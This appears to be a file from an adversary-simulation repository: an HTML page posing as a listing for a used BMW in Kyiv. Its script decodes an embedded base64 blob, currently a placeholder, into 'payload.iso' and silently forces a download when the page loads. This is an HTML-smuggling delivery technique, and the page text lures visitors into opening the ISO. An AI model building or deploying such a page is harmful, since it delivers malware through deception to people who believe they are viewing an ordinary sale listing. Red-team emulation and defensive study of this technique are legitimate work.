mirror of
https://github.com/S3N4T0R-0X0/APTs-Adversary-Simulation.git
synced 2026-08-04 09:41:40 +02:00
43 lines
1.0 KiB
HTML
43 lines
1.0 KiB
HTML
|
|
<html>
|
|
<body>
|
|
<script>
|
|
function base64ToArrayBuffer(base64) {
|
|
var binary_string = window.atob(base64);
|
|
var len = binary_string.length;
|
|
var bytes = new Uint8Array(len);
|
|
for (var i = 0; i < len; i++) {
|
|
bytes[i] = binary_string.charCodeAt(i);
|
|
}
|
|
return bytes.buffer;
|
|
}
|
|
|
|
var file = 'Your base64 string here';
|
|
var data = base64ToArrayBuffer(file);
|
|
var blob = new Blob([data], {type: 'octet/stream'});
|
|
var fileName = 'payload.iso';
|
|
var a = document.createElement('a');
|
|
document.body.appendChild(a);
|
|
a.style = 'display: none;';
|
|
var url = window.URL.createObjectURL(blob);
|
|
a.href = url;
|
|
a.download = fileName;
|
|
a.click();
|
|
window.URL.revokeObjectURL(url);
|
|
</script>
|
|
<div class="container">
|
|
<h1>BMW for Sale</h1>
|
|
|
|
<hr>
|
|
|
|
<img class="bmw-logo" src="car.png" alt="BMW logo">
|
|
|
|
<hr>
|
|
<p> sale of a used BMW 5-series sedan located in Kyiv. </p>
|
|
<p>You can view the details and condition of the car through the images and iso file.</p>
|
|
</html>
|
|
|
|
|
|
|
|
|